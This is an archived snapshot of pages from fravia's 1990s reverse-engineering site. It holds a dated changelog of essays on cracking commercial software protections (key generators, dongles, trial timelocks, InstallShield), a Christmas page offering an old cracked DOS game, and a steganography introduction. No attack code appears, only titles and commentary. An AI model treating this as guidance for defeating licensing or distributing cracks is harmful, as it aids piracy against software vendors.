html cracking ~ siullin2.htm: SiuL+Hacky's Ltrace. The Tool (Linux
10 July 1998 disassembling) Advanced ~ help.htm revamped ~ ozyma1.htm: Ozymandias'
Contents: Our tools: Opera 3.21 crack beginners ~ newbies.htm revamped ~ crunch5.htm:
HTML cracking ~ Linux disassembling ~ Joa's Little essay about the various methods and viewpoints of crunching (5 -
Opera reversing ~ Crunching along ~ Interlude and the Mystery of Lempel-Ziv Part I) Intermediate ~ malamirc.htm:
keygenerators ~ anti-advertising +Malattia's mIRC 5.* a key generator explained Intermediate ~ reality cracking:
conself2.htm: +Insiderbetraying's Consumer self-defense: an anti-advertisement
tutorial Intermediate
xava_27.htm, by XaVaX: PhotoShop 5.0 / Digimarc 1.6.82, Commercial
29 June 1998 stupidity is alive & well Codesilly example ~ cynapp1.htm: by cYnAppZ: Most
Contents: stupid protections award: copy your own working serial number from the *.cfg
Commercial stupidity one and two ~ search file Codesilly example ~ searengi.htm revamped ~ wyatt_vb.htm: Wyatt's Visual
engines (and inferences!) ~ Coprocessor's basic cracking: Wave Events v2.0 Intermediate software reverser ~
protection schemes ~ reversing magazines mammo_29.htm: +Mammon_'s Page Faults (reversing magazines) a reality
cracking essay! Intermediate reality cracker
crunch3.htm: Joa's Little essay about the various methods and viewpoints of
crunching (3 - Adapting to the sources (Huffman revisited) Intermediate ~
18 June 1998 uninstms.htm: fravia's It's a long long way to get rid of M$IE (as part of the
Contents: Micro$oft bashing series) Intermediate ~ crunch4.htm: Joa's Little essay about
Crunching food for your teeth ~ It's a long the various methods and viewpoints of crunching (4 - Leaving Huffman and
long way to get rid of M$IE ~ all the agoras entering the realms of R'lyeh Intermediate ~ howtosea.htm revamped ~
of the world
boyd1.htm: G.E.Boyd's list of operational and defunct agora and mail servers
Advanced ~ index.htm revamped

http://www.instinct.org/fravia/blackbo.htm (10 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

mmstory.htm: fravia's What's behind the mm256.dat and mm2048.dat files? (as
15 June 1998 part of the Micro$oft bashing series) Intermediate ~ danadd1.htm: Maxine's
Contents: Dangerous food additives (reversing labels) (part of the reality cracking section)
D'you really know what your software is ~ frogpr3.htm: Frog's Print's The Simlock saga (snippet from a real 1998 +HCU
doing when you are asleep? ~ reality (food) seminar) Intermediate ~ xoa_126.htm: Xoanon's PreviewParadise R.I.P.
cracking ~ how stupid is Nokia? ~ timelock (vboxed programs... bye bye!) (part of the timelock project) Intermediate ~
revisited hutsting.htm: SLH's Applying the sting(Last part of a great tutorial into windows
"tight" coding) paper
10 June 1998 crunchi2.htm: Joa's Little essay about the various methods and viewpoints of
Contents: crunching (2 - Probability and Crunching) Intermediate ~ awards.htm revamped
Crunching papers first part ~ Windows for ~ sublimi.htm: Dr. Lechnar's Subliminal Advertising: What's hidden in the
assembly buff, part six ~ reality Microsoft's logo, from the reality cracking section! ~ hutchif1.htm: SLH's The
(subliminal) cracking iron fist(Keeping The Crackers Amused) paper
06 June 1998 crunchi1.htm: Joa's Little essay about the various methods and viewpoints of
Contents: crunching (1- Introduction) Intermediate ~ misu1.htm: +mISu's The PicaView32
Crunching papers, an introduction ~ keygen KeyGenerator (keygenerators in C++) Intermediate ~ hutch_65.htm: SLH's The
or not keygen? ~ Windows graphics from Eye Of The Warrior (a "graphical" windows' paper) ~ rebodila.htm:
an assembly viewpoint ~ reality (bodily) +Azzeccagarbugli's An attempt at reversing body language; from the great
cracking reality cracking section!
q_tv0601.htm Q's "Fixing" AIMS-Lab's VH-TV Program" Intermediate ~
01 June 1998
kent_com.htm: "How commercial trends are transforming the web from a great
Contents: provider of CONTENT into a nightmare of utterly useless banner clicking" a
Crackers that debug and repare their own small real life lesson, by fravia+ ~ An old 1996 "disappeared" lesson by +ORC
targets ~ stubborn webmasters ~ digging to found on the Web, read the whole story (and the lesson) on greythorne's site!
light disappeared +ORC's lessons ~
historically relevant! ~ q_tsr601.htm: Q's A different approach cracking a DOS
CD-rom protections
CD-protection Intermediate ~
bayu3.htm "Undocumented HASP 3 (no more security through obscurity)"
29 May 1998 Advanced ~ history: History of my site revamped ~ hutch28.htm: SLH's fourth
Bie bie dongles, how to code effectively in
paper! "Software warriors through the warp" (+HCU papers) ~ reality1.htm:
windoze and how empty we all are
IcE's "Reversing Reality, a first stab", a reality cracking small essay
how to search A new (tenth) lesson by your +truly! (light version) ~ ideale.htm:
Crackers against commercial smut section: smutemai.htm A polite conversation
between a commercial smutsites nuker and a commercial smutsite owner ~
25 May 1998 sealight.htm The quick search engines page ~ searengi.htm revamped search
How to search... more antismut cracking...
engines page ~ winasm_1.htm: Masta's The resurrection of assembly
programming - Essay nr. 1 Intermediate ~ links.htm: revamped links page ~
botstart.htm: Fravia's bot trapping and agent reversing page, add ons
rude45.htm: The RudeBoy's Reversing Packed Targets, an exercise in reversing
for reversing's sake Intermediate ~ javascript wars: advanced javascript page:
fravia's A sticky nice little trick Intermediate ~ tek1.htm Tek's Palmpilot
21 May 1998
reversing: Experience a brand new taste in cracking Intermediate ~
How to search... a nice paper... a taste of
saruma1.htm: Saruman's great The Penetration of CyberSitter'97 (deserved
Hawaii...
death of a pathetical censorware) Intermediate ~ hutquest.htm SLH's THE
QUEST: Building the launch pad (+HCU papers) ~ Goth's sales1.htm:
SalesAgent 3.0: Rsagnt32.dll, TurnKey and Me Useful for programmers!

http://www.instinct.org/fravia/blackbo.htm (11 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

botstart.htm: Fravia's BOT TRAPPING AND BOT WARS, a first attempt to trap
web robots in order to reverse them... THE FIRST FOUR ESSAYS: Must read
section for all web warriors ~ student.htm: has been DISCONTINUED, and will
16 May 1998
not be updated in the near future, redirect to aca300.htm important ~
A new "bot" section, various essays (and
prophe_1.htm: Prophecy's BEGINNERS: An introduction to code generation
the last BEGINNERS essay)...
routines: reversing Teleport Pro v1.29 the LAST beginners' essay on my site ~
hutch_61.htm: SLH's The Bridge: In Pursuit Of Lost Knowledge The
programmer... has no option but to go lower level Must read
crlvent7.htm: JaZZ's Corel Ventura 7 trial: Crack it the hard way Advanced ~
11 May 1998
HCU papers: iceext1.htm: Iceman's "Extending Softice serie"
Two advanced essays! (and my daughter's
fifth birthday :-) ("Zauberreversing"): Extending NuMega's SoftIce for Windows 95 using
Protected Mode Debugger services API Advanced
searengi.htm: updated ~ reanews.htm Reality cracking "news": +Atheist has
started a new (interesting) subsection of my page... contributions are welcomed
~ rudebo21.htm: Rudeboy's Four "atomic" cracking approaches! Intermediate ~
ether1.htm: Ether's BEGINNERS, the PSP protection again Beginners ~
marycri1.htm: Marigold's Instant removing of CrypKey (together with a lock)
Unwrapping the wrapped Intermediate/advanced ~ winasm_0.htm: Masta's The
8 May 1998 resurrection of assembly programming - Essay nr. 0 Intermediate ~ hutch1.htm:
A new subsection, nice and important SLH's Future Vision: The supression and resurrection of assembler
essays... And our new Visual Assembler! programming Recent programming history cracking for crackers! Must read

The +HCU is hiring c and asm coders for our new "Vis ual assembler" project,
which is florishing thank to +Mammon and the mighty help of +ReZiDeNt!,
have a look and collaborate!
e-mail +Mammon
(Mammon_(at)hotmail(point)com)
THCU99.htm: Master +Aesculapius' strainer, a beautiful set of challenges for
intermediate and advanced crackers and protectors!
rezide7z.htm: +Rezident's Reverse Engineering a Compressed Target (Phase I)
5 May 1998 Intermediate ~ marigbox.htm: Marigold's Opening a Vbox full of worms:
Advanced and intermediate readings! The PreviewParadise lost Advanced ~ ind_tra1.htm: +Indian_Trail's BEGINNERS:
1999 strainer! Pluckit 3.0 Hip Hip Hurray for Smartcheck (how to fish a serial number from
any Visual Basic program) Beginners ~ casmw652.htm: Shaman's How to crack
an hardcore dongle-protected program Advanced ~ littlejo1.htm: Little John's
Visual Basic Unprotection (Programmers: don't protect with visual basic!)
rezel1.htm: ReZeL's BEGINNERS: A correction/addition to RudeBoy's essay
Beginners ~ hs2l_22.htm: Hs2L's Web Browser emulation (Letting web pages
get less info about you) Intermediate ~ origin_1.htm: MML's Cracking
3 May 1998 MicroCal Origin 5.0 in 3 Simple Ways (a crippled targets project) Intermediate
more essays, more additions/corrections ~ dynam_1.htm: +dynamite's BEGINNERS: Why should we crack a program
that DOES NOT CHANGE if you register it? Beginners ~ sandma1.htm
Sandman's How to crack ANY program that uses the TL32V2.DLL! (Numega's
own project 2 an addition to Harwi's essay) Intermediate

http://www.instinct.org/fravia/blackbo.htm (12 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

new_archi.htm: The total reset protection scheme, by Archimede, Intermediate


~ new_0101.htm: How to search: The phf exploit, by +Thor Intermediate ~
new_anor.htm: a short essay about usign a new type of protections: design your
27 Apr 1998 own cpu, by anormal/kindergarten advanced ~ tools.htm: Bare Hex Opcodes
some essays And Mnemonics, a zipped, hlp format opcodhlp.zip file. ~ canterbu1.htm:
Masher's Getright: the beast within Intermediate ~ VucoeT's vuctut01.htm:
BEGINNERS: CheckPop 1.1 for Windoze95/98/NT4 by Nevis Systems Beginners
~ ne_khab1.htm: Menu disable and active by Register Number Intermediate
(fravia's re-opens after a long holyday freeze) ~ Advanced steganography:
Caprine's work: A great dragon known as Steganos Intermediate ~ Buy
PC-PLUS May 1998 (UK review) with the complete Borland C++ 4,52 (and
23 Apr 1998
BRW!!)... Borland PC Builder, usw... for just 6 Euro :-) Very Important (for all
Advanced steganography, et alia reversers that still don't have a legitimate copy of BRW) ~ netscan3.htm What's
new with timelock3.1 ?, by JaZZ Intermediate ~ new_kha.htm Kabhoet's
BEGINNERS: NJWin 1.6 Checksum Cracking Beginners
Microsoft bashing: TWD's twd_ms_.htm BEGINNERS: Visual Sourcesafe
Beginners ~ Software protection history!: 123dos.htm: Tomboy's Reinitializing
Lotus 1-2-3 DOS, historical versions Intermediate ~ kk_cunei.htm:
3 Apr 1998 F__kingcrazy's How to perform some magic reversing with good old BRW
Good old reversing techniques Intermediate ~ capedcr.htm: CapedCrusader's A complete, nake protection code:
Cracking WinZip32 Intermediate ~ aitor003.htm: +Aitor's Reverse Engineering
MATLAB 5 - Part III: Licenses Intermediate ~ entropy1.htm: Entropy's DartPro
32 Cracking, a crippled 'save' with encryption mechanism Intermediate
Advanced steganography: Edi's work: I had to reverse engineer steganos again,
26 Mar 1998 on my own Advanced ~ Advanced Javascript: Tom's: A "ponderated"
Advanced steganography, advanced vocabulary approach to advanced javascript Advanced ~ Devious Javascript:
javascript Tom's: bozo cracks java Advanced ~ Devious Javascript: MR's: myown511.htm:
the DECIDING sentence Intermediate ~ awards.htm: new awards
Advanced steganography page: Steganography Thumbprinting Advanced ~
help.htm: revamped ~ info.htm: revamped ~ links.htm: Frog's Print winshow
added ~ papers.htm: Iceman's WIN32 - Inside Debug API added ~ reality
20 Mar 1998
cracking: Pranks as introduction to reality cracking, by Rhiddler ~ Advanced
Steganography, menial work and reversing
cracking: In memory patching: Three approaches, by Stone Advanced ~
redla1.htm: Red Lantern's Cracking Rightime: Encryption and checksums in a
small DOS utility Intermediate
reality cracking: Martine Joly's Rhetoric of advertisement (a "Marlboro Classic"
Advertisement analyzed) Expert ~ papers.htm: HCU PAPERS: Iceman work:
16 Mar 1998 Tweaking with memory in Window95 ~ rudeboy.htm: Thinking Like a Cracker, a
Reality, Papers and BEGINNERS galore lesson for BEGINNERS ~ panthe.htm: BEGINNERS: Big tent, little circus by
The Nameless (Most stupid protection award) ~ siceinst.htm: The Ultimate
Beginner - Session 1: SoftICE Install for Beginners, by i_magnus
Bram van Dartel's List of free page providers, free CGI scripts and whatever ~
protecti.htm: Jack of Shadows's A modified +Aesculapius protection Advanced
12 Mar 1998
~ +Indian_Trail's Winrar [95] the other path (Encryption Mechanism)
Protection and Encryption
Intermediate ~ Reality cracking: Maxine+'s Consumer trends cracking some
tricks ~ bajunny: Undocumented HASP - Part II Advanced

http://www.instinct.org/fravia/blackbo.htm (13 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

Devious javascript page how to land in devious the easy way, by Roady & Two
Paths To Success by JimBob & FravBecca by Gabtis ~ Omar's List of Free Page
08 Mar 1998 Providers ~ Bram van Dartel's List of free page providers, free CGI scripts and
Java and freepages whatever ~ Advanced javascript page: javascript password brutecracker by
Roady ~ awards.htm: updated ~ dukeess.htm: Inside the VB3 .EXE (tokens and
other marvels) Intermediate
Advanced Steganography page: Steganos, The Duke of Earl, and The Dancing
Men by Joe Peschel ~ madlas1.htm: Dongle Dejavu, by MaD ~ zee_inst.htm:
04 Mar 1998 Zeezee's Decompiling InstallShield scripts and guidelines for decompiler
Stego, cracking and the good old dos times writers ~ madmasu.htm: madmax! Cracking using KERNEL32.DLL Advanced
~ oldiegoo.htm: FootSteps' Oldies but Goodies ~ entra.htm revamped ~
Javascript: an easier entrance to the 'devious' javascript page!
Advanced Javascript page: Ken's mighty tool for javascript password reversing.
Advanced ~ Javascript 'devious' page: Azazel's solution: reaching the protected
01 Mar 1998
part Advanced ~ Our protections: Master +Aesculapius' response to Jack of
Advanced Javascript, searching and
Shadows Useful for protectors! ~ Surreal5's advanced searching: Two snippets
protecting
Advanced ~ siulinux.htm: SiuL+Hacky's reversing Linux: the chances
Advanced
Advanced 'devious' javascript page: Jack of Shadows's "Devious snippets:
Collection of different approaches" Advanced ~ Zeezee's InstallShield scripts (1
of 2)... compiler DLL ~ snippets.htm: The_Gimp's MORE DOS4GW STUFF:
28 Feb 1998
CD ROM / 3DFX Cracking ~ Our protections: Jack of Shadows's "Reversing
Allerlei
+Aesculapius: A complete explanation of a very good assembler protection"
Advanced/Expert ~ advanced.htm: The Owl: beta release 3 of the winice
dumper Expert
Our tools: Natzgul's "wisdec" (Installshield decompiler) Expert ~ Our
protections: Master +Aesculapius' 100% assembly 'future generation' protection
26 Feb 1998
Expert ~ Hs2L's smartc_2.htm: An example of VB Cracking using SmartCheck
Expert cracking
~ links.htm Some links updated and added ~ bayu_2.htm: Undocumented HASP
- part I, by -bajunny Expert
How to search: Surreal5's search tips (introduction and first lesson) Advanced ~
How to search: Cassandra's fetcher and Cassandra's stalker Advanced ~
24 Feb 1998
Surreal5's search tips: (second lesson) Advanced ~ Surreal5's search tips: (third
Searching, the sublime art
lesson) Advanced ~ Advanced Javascript page: Jack of Shadows'Know Thy
Language! Advanced
Advanced ("devious") javascript page: How to land in devious by Peter Papazov
21 Feb 1998 Advanced ~ reality cracking: Fond manager cracking, by Curious George and
javascript, dongles and reality Maxine+ ~ Jack of Shadows: Dongles are NOT dead! (programmers: use them!)
Useful for protectors!
what_new introduced ~ Advanced Javascript page: Thru the Java Door by
WeLuv Advanced ~ +HCU trainers and contests: links.htm: gettysburg
cracking: a complete version "scn" file! Intermediate ~ Advanced Javascript
19 Feb 1998
page: The 'easy' javascript entrance: A recursive approach, by SPLiCE
javascript galore!
Advanced ~ Javascript entrance: New advanced page (javdevio.htm: targeted
access) Advanced ~ Javascript entrance: new stupid password protection for
beginners (j_ridcul.htm) Beginners

http://www.instinct.org/fravia/blackbo.htm (14 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

hal_oper.htm: Use Opera! (Bye Bye Navigator ?) with an add-on by Lord


Lucifer Beginners ~ maddon_1.htm: DONGLES: The weak brothership between
17 Feb 1998
hard- and software Intermediate ~ natz_mp2.htm: How to access the memory of
soft and real reversing!
a process (i.e. Game Trainer, Process Patcher etc.) Advanced ~ ath_sta1.htm:
Statistical cracking: basics: cracking lotteries (reality cracking section)
BLACK FRIDAY attack: all pages on Sharp's server have been censored, have a
13 Feb 1998 look for yourself awful ~ halva_3.htm: SOFTWrapper: wrapping galore
soft and steg reversing! Intermediate ~ dong_mad.htm: Unplugging a dongle protection Intermediate ~
mrf_steg.htm: How to reverse engineer Steganos (First step) Intermediate
jonla_13.htm: BEGINNERS: KeyGenerator for AddItem, by Jon ~ natz51.htm:
InstallSHIELD Script Cracking, A tutorial by NaTzGUL Advanced ~ Advanced
12 Feb 1998
steganography page: "an answer to Flynn", by Caprine ~ spirit_1.htm:
soft and steg reversing!
RealPlayer Plus 4.0: the "dummy code check" trick, by sPIRIT and HellRaiser
Intermediate
real_geo.htm: An Essay Attempting to Justify the Relationship Between Code
11 Feb 1998 Cracking and Reality Cracking ~ xavax1.htm: Cracking the ShareLock
real, soft and steg reversing! Protection System (SHRLK20.DLL), by XaVaX ~ Advanced Javascript page:
"a java class used to reach it", by Chris Intermediate
A Journey within Steganos 'light version', by Jean Flynn Intermediate ~
Advanced steganography page modified ~ stego.htm page modified ~ "A
Journey within Steganos" 'advanced version', by Jean Flynn Advanced ~ New
10 February 1998
snippet by Snatch: Numega use your brains (Cracking Installshield serials)
Intermediate ~ advanced javascript page: a new essay by Tomba: "A deductive
& recursive way into Fravia's java-pages"
fuhrba_3.htm: Dr Fuhrball's Marx Crypto Box, the most Secure device ever
made Intermediate ~ drfuh5.htm Dr Fuhrball's treatment on the hardware side of
08 February 1998 accessing eeproms (with three gifs) Advanced ~ donjo2.htm Fallen's Cracked
Metal, runtime dll creation Useful for protectors! ~ project9.htm (Micro$oft
bashing) revamped ~ entra.htm revamped ~ formamus.htm revamped
Advanced Javascript page: two C programs: "how to build a password parser
(english word-order)", by Syko and "how to reach the javascript advanced
page", by EpicLord ~ lordthu1.htm: VXDennis the menace, fun with
02 February 1998 VRAMDIR v1.07 ~ entra.htm revamped ~ dimit_12.htm: TRAP Ver 1.13:
Opcode generators and selfchanging code Useful for protectors! ~ edi1.htm:
How to crack HTMLedPro32 2.0d: Destroy them to make them work
fp_dong1.htm: Frog's Print "Dongle Bashing" essay: Dongles bye bye Advanced
~ New search lessons by Robin Hood ~ how to search section Revamped ~
29 January 1998 quine_51.htm: A new essay about IDA enhancing! Advanced ~ help.htm and
newbyes.htm slightly modified ~ New snippets by Cybercurve and MAD '96
Beginners ~ Reality cracking: a small answer to MrWho, by Bob
Javascript section: new material and dark1.htm another simple javascript
27 January 1998 site-protection ~ realicra.htm: reality cracking section revamped ~ with a new
essay by MrWho and a new Essay by +ORC

http://www.instinct.org/fravia/blackbo.htm (15 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

index.html (this page) revamped ~ searengi.htm revamped search engines ~


links.htm revamped links ~ sear0198.htm new how to search the web lesson
25 January 1998 (and reversing competition :-) ~ New revamped Javascript section entrances and
help! ~ phony.htm modified ~ pageadvi.htm: the new antispam section ~
snikkel.htm modified
project3.htm ~ "How to undongle" revamped ~ spyder_4.htm: SSI Win32
Dongle Protection Intermediate ~ Mammon's first findings workshop ~ A new
22 January 1998 snippet by +RMD: How to make a MSGBOX work for YOU ~ and I notice that
my new Javascript web protection is more strong that I would have thought...
few came through it on the other side! :-)
New formamus.htm for submitting essays... please CHANGE your older
models, this one prints better Important! ~ quine_h1: Quine's long awaited
terrific "De-HASPING" essay Expert! ~ Marigold is tackling timelock 3!:
20 January 1998 "tl303inj!PleaseTraceIntoMe_MrCracker" Intermediate ~ New help.htm ~
aitor_45.htm: InstallShield Packages Encryption Intermediate ~ projunpa.htm
revamped ~ dph-man's "thoughts on key checking methods that are hard to
reverse engineer" Useful for protectors!
entrance to the advanced (revamped) javascript page Advanced ~ Our
18 January 1998 protections ~ +RCG new protection approach: "how to take Softice on a boat
ride" Advanced
Our Tools project started by +RCG Advanced ~ more snippets ~ New additions
for the Packers & Unpackers project ~ a new essay about OCX Control
17 January 1998
Highlights and Licensing schemes (inter alia) Intermediate ~ rcg_cmsp.htm and
marigold.htm added ~ Visual Basic project page updated
Our protections ~ +RCG new "vxd" protection approach: "A first introduction to
vxd"; "Cryptography and mathematics of chaos"; crypto.exe, vxd.vxd and
14 January 1998 heavy.exe.
An incredibly interesting new section, seen that Micro$oft's vxd documentation
is laughable and that you wont be able to find all too much about on the web!
Advanced ~ snickel.htm, altF4j_a.htm, ajtor1.htm and banda7.htm added
hcu98_3.htm ~ Ringing the bell for this year's +HCU courses Restricted ~
8 January 1998
hr_ferr1.htm added
whatdika.htm added ~ whoson.htm added ~ noanon.htm modified ~
5 January 1998
jongamcr.htm added
help.htm modified ~ formamus.htm: rules for submitting essays modified ~ new
essay by Fabian Hansmann (Steganos' Author): Fighting steganography
4 January 1998 detection ~ stego.htm page modified ~ advanced steganography page modified ~
blackboard re-opened ~ x861.htm modified ~ little_1.htm (Little-John on
Winrar) added ~ altf4cjw.htm modified
stego.htm: new password for advanced URL ~ s-tools4 images added ~
3 January 1998
advanced steganography page modified

http://www.instinct.org/fravia/blackbo.htm (16 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

1997

- 01 dec: orc.htm: +ORC's C3 lesson ('Iabrowse revealed')


- 14 dec: orc.htm: +ORC's 9(2) lesson (psp)
- 18 feb: orc.htm: +ORC's 9(3) lesson ('dead listing')
- 20 feb: search7.htm: new search lesson
- 27 feb: student.htm: first three students lessons
- 12 Mar: stalking.htm: The stalking page
- 13 Mar: slaves.htm: the supermarket enslavement (An article by
+ORC)
- 14 Mar: couninte.htm: the counter intelligence page
- 27 Mar: orc.htm: +ORC's lesson 4.1
- 15 Apr: ideale.htm: Crackers against commercial smut Updated!
- 27 Apr: corporate.htm: how to hyde your activities at work!
- 28 Apr: orc.htm: new lesson 4.2! (Micro$oft trial protections!
Great!)
- 29 Apr: body.htm: enslavement techniques: body language and
hypnotic tricks
- 05 May: tools.htm: NEW and POWERFUL tools
- 09 May: razzia.htm: Visual Basic *.dll cracking!
- 10 May: project2.htm: how to crack the 14 days Winice trial
protecton
- 12 May: howto93.htm: +Orc sends a correction to the howto93.htm
- 13 May: javaco1.htm: Get rid of all people using Micro$oft
Internet explorer
- 23 May: index.html: Two new tutorials!
- 30 Jun: Page reopens after a whole month freeze
- 08 Jul: orc.htm: link to the old Money demo v. 3.00 used in the
strainer!
- 15 Jul: newbies.htm: a word for the confused ones
- 19 Jul: blackbo.htm: introduction of the blackboard
- 01 Aug: fravia.htm: a new reverse engineering lesson!
(filemon1.htm and filemon2.htm)
- 17 Aug: project1.htm: new hexeditor project (project1) started
- 21 Aug: orc.htm: a letter from +ORC! +ORC reopens a bilateral
channel!
- 27 Aug: astonish.htm: all Windoze NT users turned into System
administrators
- 02 Sep: filemon5.htm: Vxd vagaries and mysteries (first part)
- 10 Sep: useful.htm: special tools
- 16 Sep: solution.htm: new +HCU graduates!

http://www.instinct.org/fravia/blackbo.htm (17 of 18) [2/7/2001 3:14:29 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

- 12 Oct: Page reopens after 15 days freeze (and gets 3000 hits
per day :-)
- 13 Oct: academy.htm: academy database partitioned!
- 27 Oct: rules.htm: please read the "rules" for submitting
essays! s
- 28 Oct: snippets.htm: new section: snippets
- 29 Oct: newuni.htm: +ORC alive and kicking :-)
- 04 Nov: sear1197.htm: how to search, a new lesson: combing and
klebing
- 08 Nov: noanon.htm#anchoranoaca: Fravia's Anonymity Academy
- 09 Nov: tekles1.htm: Cracking for dummies 1: "Birth of a
cracker"
- 13 Nov: progcor.htm: The 'shareware programmer' corner
- 25 Nov: migrating to http://fravia.org
- 27 Nov: ideale.htm: new CGI-script reversing page (ideale4.htm)
- 28 Nov: protecti.htm: New tough protection by +Rcg
- 29 Nov: wlcmaz.htm: New Database (Cracking The Maze Of Essays At
fravia+ Web Site)
- 05 Dic: netles2.htm: Cracking for dummies 2: "The difficult
years"
- 07 Dic: javascri.htm: Javascript section started
- 14 Dic: flipvb1.htm: some answer to flipper's "tough" visual
basic protection
- 16 Dic: corporate.htm and noanon.htm revamped
- 22 Dic: stego.htm: basic (and may be advanced) steganography!

Back to the top of this jolly blackboard


homepage search_forms links +ORC counter measures tools javascript wars
reality cracking academy database students' essays antismut CGI scripts
cocktails academy of anonymity mail_fravia
Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/blackbo.htm (18 of 18) [2/7/2001 3:14:29 PM]


merryx.htm Have a nice Xmas!

Merry
Xmas (or
Hanoucca,
or
whatever)
to all my
Ivan Bilibin: Tsar Saltan hears the three sisters' whispers readers!

An interesting
'present' for all
my readers
(see below)

I thought and thought and thought, looking at the pale moon in the dusk, rising above the eastern shadows (that's the
moment of the day I love the best, it can be so long and silent in the far north), and then I decided to give you once more a
snippet of history as Xmas present... we are crackers, after all, and we have a proud long history behind us, that anyone
should study and know... why should the old name of Killefitt be forgotten?

A present for my readers: a milestone from the great HISTORY of cracking, the old (1990) stunts by Mindscape (1136513
bytes), cracked by Killefitt from 'Red sector' (DEFJAM) many many years ago.

Disclaimer: This old game has been published on so many 'nostalgia' magazines' CD-covers that is now considered
'abandonedware', so I don't believe that anyone will take offence in this (as you know, I don't publish neither ready made
cracks nor warez whatsoever on my site).

If you like this obsolete game and if you would like to keep it on your harddisk after having studied the crack and the
protection scheme, ask permission from Mindscape, they will surely accord it to you. I have decided to publish this for
educational/historical purposes, what is important here is the reversing approach and solution, not the old game per se. The
interest is due to te fact that the ancient crack approach (Killefitt has disappeared long ago from the scene) used to disable the
old 'book-reference' dos protection scheme was quite ingenious and has some interest even now.

"Good old mad fravia+ Even his Xmas' presents contribute to educate people!"
Alison Kinby, 1997

http://www.instinct.org/fravia/merryx.htm (1 of 2) [2/7/2001 3:14:32 PM]


merryx.htm Have a nice Xmas!

Merry Xmas (or Hanoucca, or whatever) to all my readers!


Fravia+, Xmas 1998

Of course at Xmas there are also 'bad' presents for all naughty boys... therefore...

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/merryx.htm (2 of 2) [2/7/2001 3:14:32 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

bilibin's red
knight

Fravia's Anonymity Academy

FRAVIA'S STEGANOGRAPHY
(STARTING PAGE)
Updated September 1998

(Only basic readings and a sieve: my tricks are elsewhere)


How to hide information effectively
~
Cracking steganographical algorithms

Courtesy of fravia's page of reverse engineering

Files related with this section


(related essays from my software reverse engineering section)

Well I remember a beautiful essay by Frog's print about something related with steganography: Watermarking of digital
images, here it is: PhotoShop 4.0 / Digimarc Commercial stupidity - Digimarc downfall where you'll be able to see
how easy it is to reverse some 'very heavy' (and expensive) watermarking commercial applications, like Digimarc. If you
are interested in Watermarking problems, you'll find on the web watermarking tools and tools to 'unwatermark' images
(like Unzign and Stirmark).

How to reach fravia's 'advanced steganography' pages, the hard way


Jean Flynn's "A Journey within Steganos" ('light' version)
10 february 1998 __NEW__

How to reverse engineer Steganos (First step)


Mrf's "Speed up brute force cracking"
13 february 1998 __NEW__
I'll add here more essays as soon as you start writing them. Some short essays about advanced steganographical cracking
(cracking of the steganographocal algorithms themselves of course, not of the software programs to perform
steganography, which, as you will see, are all either not at all or ridicously protected :-) are or will be asap in the
'advanced steganography' page of mine (see below).
Of course we are a little 'cheating' here. In order to crack at ease you'll get the ORIGINAL image used as carrier
(something you won't get in real life) and I have used very easy password options, as you'll see.

Reasons for this section


Well, I have received so many questions about steganography, after having written inside my revamped anonymity
academy page the following...

Morale: keep your sensitive data ON THE WEB somewhere where nobody

http://www.instinct.org/fravia/stego.htm (1 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

in his right mind would ever look, nor understand them even if he did
(say steganographed inside the dull images of a bogus page like "me
and my little dog Barkie" :-) they will be MUCH more safe there than
inside your own harddisk!

...that I realized that many among my readers don't even know the most elementary basic of hiding (and/or retrieving
hidden) data on the web and elsewhere...
Yet hiding (and retrieving hidden :-) data is a VITAL question, on the web and in life, when so many people are
continuously (and increasingly) trying to get their hands on your money/convinctions/future through your data, using all
known tricks of the books (and some less known ones as well, as +ORC explains in his slaves of the supermarkets
famous essay... btw there are some passages about steganography itself in his "6" lessons, if I'm not mistaken)
So, dear reader, just do what you're supposed to do anyway: READ! In fact I believe you better read and head the
following, and then start your own studies on this matter as soon as you'll be able to.
Unfortunately, for once, this time I will and cannot explain too much publicly (because I'm actually using myself quite a
lot of the tricks I have to describe) yet I want to explain everything nevertheless: the whole idea of my site is that
knowledge should be passed on to anybody who cares... but i need a 'sieve' in order to see if you really care... I have
taken the idea from +ORC's famous gates, and it works!.
Hope you'll understand me: lamers and leechers must be kept somehow away, at least for a little while, else they will
immediately start using the same tricks 'en masse' for some stupid purpose and spoil the game for me and all other real
+crackers around.

So this page is and will remain only a 'start' platform. Don't be deceived! You'll get on this very page enough
information to make you happy, and you will be able to deepen it and work on it at leisure (and this page will be
updated, and you'll always find a lot here)... yet you WILL NOT get to the advanced steganography page, unless you
crack the BMP and GIF images that you'll find on this page.

This should sieve lamers and leechers out, I hope.

Purpose of the sieve


The sieve has another purpose: to teach you how to reverse the algorithms used by the main steganographical
applications (admittely using the softer forms of encryption allowed, in order to 'offer you the throat' for your attacks :-)
You see: this is a reverse engineering site (may be THE reverse engineering site :-) and you'll therefore now begin to use
some of the techniques that you have learned reversing and cracking software in order to proceed further.

Yes. You won't be able to go further without having studied (at least a little), +ORC's tutorial and his students' essays, in
other words: you need to know (at least a little) how to reverse engineer software in order to understand many other
aspects of the web, inter alia steganography (but I think you'll be thankful that you did learn our techniques: I reckon that
this is more and more useful regarding life in general as well... without reverse engineering knowledge you are only a
Guinea pig for the commercial slaughtering powers of our disgusting society). So let's start cracking, and working, and
getting onwards...
Let's not forget what +ORC wrote:
"...I need your knowledge as much as you need mine, so build some and start contributing..."
right so! And this applies here as well, you'll therefore have to perform some 'applied steganographical cracking':

